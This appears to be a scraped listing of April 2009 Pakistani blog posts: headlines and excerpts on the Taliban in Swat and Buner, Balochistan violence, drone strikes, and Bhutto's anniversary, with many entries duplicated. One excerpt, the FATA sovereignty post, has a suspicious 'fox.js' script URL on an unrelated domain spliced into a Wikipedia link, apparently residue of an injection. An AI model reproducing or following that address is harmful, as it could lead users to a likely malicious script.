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After Swat it’s now Buner: Talibans continue their advance in Buner as Securiy Forces offered no resistance !: The shrine of Sufi Saint Pir Baba in Buner. (Swat)Taliban move into new Buner areas BUNER, April 10: Instead of pulling out of Buner as they had announced on Thursday, the Taliban of Swat moved on Friday to consolidate
Balochistan Burns!: Furore in Balochistan over killing of nationalist leaders QUETTA, April 9: A police constable was killed and at least 12 other people were injured in firing on Thursday as Balochistan slid into violence after the bodies of three Baloch
Balochistan Burns !: Furore in Balochistan over killing of nationalist leaders QUETTA, April 9: A police constable was killed and at least 12 other people were injured in firing on Thursday as Balochistan slid into violence after the bodies of three Baloch
Does Pakistani State Really Control FATA, which is under CIA’s drones’ attack ?: According to Wikipedia —–“Sovereignty is the right to exercise, within a territory, the functions of a state, exclusive of any other state, and subject to no other authority.”http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&en.wikipedia.org/wiki/SovereigntyKeeping aforementioned definition in mind, are we really justified to term drones’
Does Pakistani State Really Control FATA, which is under CIA’s drones’ attack ?: According to Wikipedia —–“Sovereignty is the right to exercise, within a territory, the functions of a state, exclusive of any other state, and subject to no other authority.”http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&en.wikipedia.org/wiki/SovereigntyKeeping aforementioned definition in mind, are we really justified to term drones’
Path to Paradise through Barrel of Gun ! An analysis by Tanveer Qaisar Shahid: Source: Daily Express, 9th April, 09
B’coz Qazi is going !!!!!: ‘کیونکہ ظالمو۔۔۔۔ قاضی جا رہا ہے۔’محمد حنیف سوات میں لڑکی کو کوڑے مارنے کی ویڈیو کے بارے میں زیادہ تر تو یہ کہا گیا کہ یہ اسلام کو بدنام کرنے کی سازش تھی لیکن کئی اور نے بھی ہاتھ
After India, Afghanistan, & Iran it’s now China which wants Pakistan to take action against militants !!! Isn’t it time to wake up ???: China Leans on Pakistan to Deal With Militants Washington is not the only ally calling on Islamabad to take action against militants based in its tribal areas along the Afghan border. Now, according to a prominent Pakistani politician, Beijing
How possibly could a party such as the secular ANP get into such a low deal with those of the Taliban’s ilk?: Barbarians at the gate By Kamran Shafi SORRY for the trite title, but its blood-chillingly true, isn’t it? As my readers well know, I am quite quickly moved to tears: films like Il Postino and East is East and
"Talibans would take their war to Islamabad and the day is not far when the capital will be in the hands of Talibans"– Claims Mullah Nazeer: Pakistani Taliban said moving closer to capital MINGORA: Pakistani Taliban are moving into a new area in northern Pakistan, clashing with villagers and police in a mountain valley, police and district officials said on Wednesday.
“Talibans would take their war to Islamabad and the day is not far when the capital will be in the hands of Talibans”– Claims Mullah Nazeer: Pakistani Taliban said moving closer to capital MINGORA: Pakistani Taliban are moving into a new area in northern Pakistan, clashing with villagers and police in a mountain valley, police and district officials said on Wednesday. Separately, a Pakistani Taliban
Should we hold Rehman Malik responsible for all suicide and other terrorists’ attacks ?: By Latif ChaudhryDaily Express — 8th April, 09
Who rules Bajaur ???? Talibans or Govt. of Pakistan ???: Bajaur TTP declares amnesty for anti-Taliban elders !!! Suicide attacks to continue : Maulvi Umer KHAR: The Tehreek-e-Taliban Pakistan (TTP) in Bajaur Agency on Monday declared amnesty for all anti-Taliban tribal elders and appealed to internally displaced persons (IDPs)
Mullahs blame Ahmadis for terrorist activities. Ahmadis also termed as traitors !: Contrary to facts some Deobandi and Wahabi mullahs have blamed Ahmadi community for the terrorists’ activities !!!The mullahs also called for Ahmadis’ boycot and demanded that Ahmadis be expelled from intelligence agencies ! List of speakers of Khatam-e-Nabowat Conference
70% of religious seminaries (madrassahs) in Pakistan belong to the Deobandi school of thought: Report: According to a report appeared in today’s Daily Express more than 1.9 million students are enrolled in 17000 religious seminaries (madrassahs) of which around 70% i.e. 12000 belong to Deoband school of thought, around 20% i.e. 3500 belong to
70% of religious seminaries (medressahs) in Pakistan belong to Deoband school of thought: Report: According to a report appeared in today’s Daily Express more than 1.9 million students are enrolled in 17000 religious seminaries (madrassahs) of which around 70% i.e. 12000 belong to Deoband school of thought, around 20% i.e. 3500 belong to
A wake up call: Is Talibanisation now creeping in cities of Sindh — The land of Sachal and Lal Shahbaz Qalandar ??: File photo of famous Lal Mosque Brigade Extremists disrupt dance programme LARKANA, April 4: Unidentified men forced the cancellation of a spring fair near Larkana on Friday after they objected to the presence of dancing girls. According to organisers,
Mission Islamisation: Gen. Zia’s dream has been fulfilled as teen-aged girl flogged publicly in Swat !!!: THE OTHER COLUMN: Up shitcreek —Ejaz Haider
Mission Islamisation: Gen. Zia’s dream has been fulfilled as teen-aged girl flogged publicly in Swat !!!: THE OTHER COLUMN: Up shitcreek —Ejaz Haider Apropos the faith -reviving video from Swat: let me congratulate, not necessarily in the same order, various people — Mr Imran Khan, the Jama’at-e Islami leadership, Lt-Gen Hameed Napoleon Gul, the ANP
Divided or weak political will is the main reason for the inability of the Pakistani state and society to cope with terrorism.: Counter-terrorism confusion —Dr Hasan-Askari Rizvi The terrorist attack on the Police Training Centre in Manawan on March 30 underlined the mounting challenge terrorism poses to Pakistan. A small group of well-trained and ideologically motivated attackers carried out the assault
We should support military operation against Talibans OR we should be ready to accept their shariah which allows women’s public flogging: Abbas Ather: Source: Daily Express, 5th April, 09
Irfan Husain: Living with Bhutto’s ghost: Saturday, 04 Apr, 2009 Zulfiqar Ali Bhutto and his family pose for a photograph – AP/File photo. EXACTLY 30 years ago today, I was driving back with friends from a weeklong fishing trip in Azad Kashmir.We did not have
The Bhutto Archive: The day Bhutto was hanged.: On this day: Bhutto Hanged Saturday, 04 Apr, 2009 Zulfikar Ali Bhutto.-Whitestar Ex-PM buried in family graveyard of Nau Dero Four others await decision on mercy petitions RAWALPINDI, April 4, 1979: Mr Zulfikar Ali Bhutto was hanged
The Bhutto Archive: The day Bhutto was hanged.: On this day: Bhutto Hanged Saturday, 04 Apr, 2009 Zulfikar Ali Bhutto.-Whitestar Ex-PM buried in family graveyard of Nau Dero Four others await decision on mercy petitions RAWALPINDI, April 4, 1979: Mr Zulfikar Ali Bhutto was hanged to death
What Bhutto can still teach us – by Sherry Rehman: Mourners gather at Zulfiqar Ali Bhutto’s grave to pay their respects – AP/File photo. Remembering Zulfiqar Ali Bhutto Audiovisual Interactive HISTORY as it is taught in the schoolrooms of Pakistan is very different from our collective, and often contested,
Sherry Rehman: What Bhutto can still teach us: Mourners gather at Zulfiqar Ali Bhutto’s grave to pay their respects – AP/File photo. Remembering Zulfiqar Ali Bhutto Audiovisual Interactive HISTORY as it is taught in the schoolrooms of Pakistan is very different from our collective, and often contested,
Farhat Taj: Target: terror secretariat in Miranshah: The Taliban are a diverse mix of different groups, each led by its own leader, which support each other in militancy. Still, it is not uncommon to see two Taliban groups at cross-purposes with each other, and fighting. At
Tanvir Qaiser Shahid: Remembering Zulfiqar Ali Bhutto on General Zia-ul-Haq’s grave: Left: General Zia’s grave in Islamabad – Right: Z.A. Bhutto
Wana: Taliban militants blow up radio station in Waziristan. A sign of increasing nervousness?: It seems that our friends in Waziristan, the ISI and their agent Baitullah Mehsud, are showing signs of nervousness because of the increasing USA/NATO pressure on the Taliban hideouts in Pakistan. Pakistan militants blow up radio station in NW
Qasida Burda Sharif – dedicated to the Master of the Universe: In loving memory of our beloved Prophet Muhammad ibn Abdullah (peace be upon him and his progeny) Introduction: Ya Adhemeen by Ahmed Bukhatir
Qasida Burda Sharif – dedicated to the Master of the Universe: In loving memory of our beloved Prophet Muhammad ibn Abdullah (peace be upon him and his progeny)Introduction: Ya Adhemeen by Ahmed BukhatirThe Music/Ode: Mawlay by Muhammad al-HusyanVideo by: Hamza Mehmood
Sherry Rehman: Bhutto Shaheed’s legacy: Friday, April 03, 2009 Every year, as April 4 approaches, Shaheed Zulfikar Ali Bhutto’s spirit and memory loom large on the hearts and minds of the Pakistani nation. His 30th death anniversary is a time to recall his contribution,
Harris Khalique: Bhutto no more, Zia lives on: Friday, April 03, 2009 Thirty years ago, on April 4, 1979, I was pale and weak after recovering from severe jaundice and the final exams for class seventh. We were home with my younger brother and a couple of
Ayesha Siddiqa: Many readings of Sharia: Many readings of Sharia By Ayesha SiddiqaFriday, 03 Apr, 2009 THE students of Jamia Hafsa want nizam-i-adl implemented in the entire country as a way out of the current crisis. They also want Taqi Usmani, their mufti, as chief
Ayesha Siddiqa: Many readings of Sharia: Many readings of Sharia By Ayesha SiddiqaFriday, 03 Apr, 2009 THE students of Jamia Hafsa want nizam-i-adl implemented in the entire country as a way out of the current crisis. They also want Taqi Usmani, their mufti, as chief
Cyril Almeida: An assessment of Asif Ali Zardari’s performance: End of the red, black and green? By Cyril AlmeidaFriday, 03 Apr, 2009 Looking back over his term in office, there is much for Zardari to smile about – File photo. CONVENTIONAL wisdom has it that Asif Zardari will
There is nothing wrong with the drone attacks on an area where there is Taliban’s (instead of Pakistan’s) writ.: Logic of drone attacks A US drone attack in Orakzai agency has killed 12 recruits of the Tehreek-e Taliban Pakistan (TTP) of Baitullah Mehsud, including one local leader. An Arab too has been killed while the family of the
There is nothing wrong with the drone attacks on an area where there is Taliban’s (instead of Pakistan’s) writ.: Logic of drone attacks A US drone attack in Orakzai agency has killed 12 recruits of the Tehreek-e Taliban Pakistan (TTP) of Baitullah Mehsud, including one local leader. An Arab too has been killed while the family of the